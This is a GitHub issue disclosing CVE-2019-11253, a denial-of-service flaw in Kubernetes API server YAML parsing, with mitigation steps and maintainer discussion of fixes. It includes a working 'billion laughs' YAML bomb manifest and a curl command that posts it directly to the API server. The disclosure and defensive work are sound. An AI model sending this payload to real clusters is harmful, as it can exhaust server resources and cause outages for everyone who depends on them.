Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2019-11253: Kubernetes API Server JSON/YAML parsing vulnerable to resource exhaustion attack #83253

Closed
raesene opened this issue Sep 27, 2019 · 17 comments · Fixed by #83261
Closed
Assignees
Labels
area/apiserver area/client-libraries area/security kind/bug Categorizes issue or PR as related to a bug. official-cve-feed Issues or PRs related to CVEs officially announced by Security Response Committee (SRC) priority/critical-urgent Highest priority. Must be actively worked on as someone's top priority right now. sig/api-machinery Categorizes an issue or PR as relevant to SIG API Machinery.
Milestone

Comments

@raesene
Copy link

raesene commented Sep 27, 2019

CVE-2019-11253 is a denial of service vulnerability in the kube-apiserver, allowing authorized users sending malicious YAML or JSON payloads to cause kube-apiserver to consume excessive CPU or memory, potentially crashing and becoming unavailable. This vulnerability has been given an initial severity of High, with a score of 7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Prior to v1.14.0, default RBAC policy authorized anonymous users to submit requests that could trigger this vulnerability. Clusters upgraded from a version prior to v1.14.0 keep the more permissive policy by default for backwards compatibility. See the mitigation section below for instructions on how to install the more restrictive v1.14+ policy.

Affected versions:

All four patch releases are now available.

Fixed in master by #83261

Mitigation:

Requests that are rejected by authorization do not trigger the vulnerability, so managing authorization rules and/or access to the Kubernetes API server mitigates which users are able to trigger this vulnerability.

To manually apply the more restrictive v1.14.x+ policy, either as a pre-upgrade mitigation, or as an additional protection for an upgraded cluster, save the attached file as rbac.yaml, and run:

kubectl auth reconcile -f rbac.yaml --remove-extra-subjects --remove-extra-permissions 

Note: this removes the ability for unauthenticated users to use kubectl auth can-i

If you are running a version prior to v1.14.0:

  • in addition to installing the restrictive policy, turn off autoupdate for this clusterrolebinding so your changes aren’t replaced on an API server restart:
    kubectl annotate --overwrite clusterrolebinding/system:basic-user rbac.authorization.kubernetes.io/autoupdate=false
  • after upgrading to v1.14.0 or greater, you can remove this annotation to reenable autoupdate:
    kubectl annotate --overwrite clusterrolebinding/system:basic-user rbac.authorization.kubernetes.io/autoupdate=true

=============

Original description follows:

Introduction

Posting this as an issue following report to the security list who suggested putting it here as it's already public in a Stackoverflow question here

What happened:

When creating a ConfigMap object which has recursive references contained in it, excessive CPU usage can occur. This appears to be an instance of a "Billion Laughs" attack which is quite well known as an XML parsing issue.

Applying this manifest to a cluster causes the client to hang for some time with considerable CPU usage.

apiVersion: v1
data:
  a: &a ["web","web","web","web","web","web","web","web","web"]
  b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
  c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
  d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
  e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
  f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
  g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
  h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
  i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
kind: ConfigMap
metadata:
  name: yaml-bomb
  namespace: default

What you expected to happen:

Ideally it would be good for a maximum size of entity to be defined, or perhaps some limit on recursive references in YAML parsed by kubectl.

One note is that the original poster on Stackoverflow indicated that the resource consumption was in kube-apiserver but both tests I did (1.16 client against 1.15 Kubeadm cluster and 1.16 client against 1.16 kubeadm cluster) showed the CPU usage client-side.

How to reproduce it (as minimally and precisely as possible):

Get the manifest above and apply to a cluster as normal with kubectl create -f <manifest>. Use top or another CPU monitor to observe the quantity of CPU time used.

Anything else we need to know?:

Environment:

  • Kubernetes version (use kubectl version):

test 1 (linux AMD64 client, Kubeadm cluster running in kind)

Client Version: version.Info{Major:"1", Minor:"16", GitVersion:"v1.16.0", GitCommit:"2bd9643cee5b3b3a5ecbd3af49d09018f0773c77", GitTreeState:"clean", BuildDate:"2019-09-18T14:36:53Z", GoVersion:"go1.12.9", Compiler:"gc", Platform:"linux/amd64"}
Server Version: version.Info{Major:"1", Minor:"15", GitVersion:"v1.15.0", GitCommit:"e8462b5b5dc2584fdcd18e6bcfe9f1e4d970a529", GitTreeState:"clean", BuildDate:"2019-06-25T23:41:27Z", GoVersion:"go1.12.5", Compiler:"gc", Platform:"linux/amd64"}

test 2 (Linux AMD64 client, Kubeadm cluster running in VMWare Workstation)

Client Version: version.Info{Major:"1", Minor:"16", GitVersion:"v1.16.0", GitCommit:"2bd9643cee5b3b3a5ecbd3af49d09018f0773c77", GitTreeState:"clean", BuildDate:"2019-09-18T14:36:53Z", GoVersion:"go1.12.9", Compiler:"gc", Platform:"linux/amd64"}
Server Version: version.Info{Major:"1", Minor:"16", GitVersion:"v1.16.0", GitCommit:"2bd9643cee5b3b3a5ecbd3af49d09018f0773c77", GitTreeState:"clean", BuildDate:"2019-09-18T14:27:17Z", GoVersion:"go1.12.9", Compiler:"gc", Platform:"linux/amd64"}
@raesene raesene added the kind/bug Categorizes issue or PR as related to a bug. label Sep 27, 2019
@k8s-ci-robot k8s-ci-robot added the needs-sig Indicates an issue or PR lacks a `sig/foo` label and requires one. label Sep 27, 2019
@raesene
Copy link
Author

raesene commented Sep 27, 2019

/sig cli

@k8s-ci-robot k8s-ci-robot added sig/cli Categorizes an issue or PR as relevant to SIG CLI. and removed needs-sig Indicates an issue or PR lacks a `sig/foo` label and requires one. labels Sep 27, 2019
@liggitt liggitt added area/apiserver area/client-libraries sig/api-machinery Categorizes an issue or PR as relevant to SIG API Machinery. priority/important-soon Must be staffed and worked on either currently, or very soon, ideally in time for the next release. and removed sig/cli Categorizes an issue or PR as relevant to SIG CLI. labels Sep 27, 2019
@raesene
Copy link
Author

raesene commented Sep 27, 2019

To update based on ideas from @liggitt and @bgeesaman , it's also possible to use this issue to cause a denial of service to the kube-apiserver by using curl to POST the YAML directly to the API server, effectively bypassing the client-side processing.

Steps to reproduce.

  1. Save the YAML as a file called yaml_bomb.yml
  2. for a valid kubernetes cluster, run kubectl proxy
  3. from the directory with the YAML saved run curl -X POST http://127.0.0.1:8001/api/v1/namespaces/default/configmaps -H "Content-Type: application/yaml" --data-binary @yaml_bomb.yml
  4. If your user has rights to create ConfigMap objects in the default namespaces, this should work
  5. Observe CPU/Memory usage in the API server(s) of the target cluster.

@raesene raesene changed the title Kubectl YAML parsing vulnerable to "Billion Laughs" Attack. Kubectl/API Server YAML parsing vulnerable to "Billion Laughs" Attack. Sep 27, 2019
@liggitt liggitt self-assigned this Sep 27, 2019
@jbeda
Copy link
Contributor

jbeda commented Sep 27, 2019

Just saw this -- we should stop accepting yaml server side. Or have a "simple yaml" variant that gets rid of references.

Any real world usages of users sending yaml to the api server? Can we go JSON/proto only?

@mauilion
Copy link

Nice find!

@liggitt
Copy link
Member

liggitt commented Sep 27, 2019

Any real world usages of users sending yaml to the api server? Can we go JSON/proto only?

I don't think we can simply drop a supported format. Disabling alias/anchor expansion or bounding allocations seem more reasonable. I have a fix in progress that does the latter.

@pjbgf
Copy link
Member

pjbgf commented Sep 28, 2019

Sounds like something that should be treated as a security issue (DoS) and have a CVE associated to it. That would help users to understand whether or not they are vulnerable to it.

@liggitt liggitt changed the title Kubectl/API Server YAML parsing vulnerable to "Billion Laughs" Attack. CVE-2019-11253: Kubectl/API Server YAML parsing vulnerable to "Billion Laughs" Attack. Sep 29, 2019
@liggitt liggitt added this to the v1.17 milestone Sep 29, 2019
@simonferquel
Copy link
Contributor

I did a pr on go-yaml 1 year ago to mitigate this issue on some of our server side components: go-yaml/yaml#375. Hope it helps!

@roycaihw
Copy link
Member

/assign @jktomer

@k8s-ci-robot
Copy link
Contributor

@roycaihw: GitHub didn't allow me to assign the following users: jktomer.

Note that only kubernetes members, repo collaborators and people who have commented on this issue/PR can be assigned. Additionally, issues/PRs can only have 10 assignees at the same time.
For more information please see the contributor guide

In response to this:

/assign @jktomer

Instructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

@anguslees
Copy link
Member

anguslees commented Sep 30, 2019

I don't think we can simply drop a supported format.

I'm not disagreeing, but: We could drop yaml, and communicate that through Accept headers in an unambiguous way. On the other hand, claiming to accept "yaml" but then dropping support for some features of yaml seems harder for a client to respond to automatically :/

Also note we have patch variants like application/apply-patch+yaml that are probably vulnerable to this DoS too.

(I completely agree that almost no "legitimate" client is sending yaml with anchors, except maybe in a hypothetical CRD that is human authored and contains lots of internal duplication (argo pipeline??). I personally have no problems with nuking yaml anchor support, just as we also don't support !!foo, etc)

@liggitt
Copy link
Member

liggitt commented Sep 30, 2019

Also note we have patch variants like application/apply-patch+yaml that are probably vulnerable to this DoS too.

yeah, it would be a fundamental patch to the yaml library, effective process-wide

@raesene
Copy link
Author

raesene commented Oct 1, 2019

It could be worth noting that following discussions with the maintainer and golang security team, a patch has been made for go-yaml which looks to address this kind of attack go-yaml/yaml@bb4e33b

chris-crone added a commit to chris-crone/compose-on-kubernetes that referenced this issue Oct 1, 2019
To mitigate against malicious YAML (as described here:
kubernetes/kubernetes#83253) we used a patched
version of yaml.v2. There is now a fix upstream so we can leverage that.

Signed-off-by: Christopher Crone <christopher.crone@docker.com>
chris-crone added a commit to chris-crone/compose-on-kubernetes that referenced this issue Oct 1, 2019
To mitigate against malicious YAML (as described here:
kubernetes/kubernetes#83253) we used a patched
version of yaml.v2. There is now a fix upstream so we can leverage that.

Signed-off-by: Christopher Crone <christopher.crone@docker.com>
@PushkarJ
Copy link
Member

/label official-cve-feed

(Related to kubernetes/sig-security#1)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
area/apiserver area/client-libraries area/security kind/bug Categorizes issue or PR as related to a bug. official-cve-feed Issues or PRs related to CVEs officially announced by Security Response Committee (SRC) priority/critical-urgent Highest priority. Must be actively worked on as someone's top priority right now. sig/api-machinery Categorizes an issue or PR as relevant to SIG API Machinery.
Projects
None yet
Development

Successfully merging a pull request may close this issue.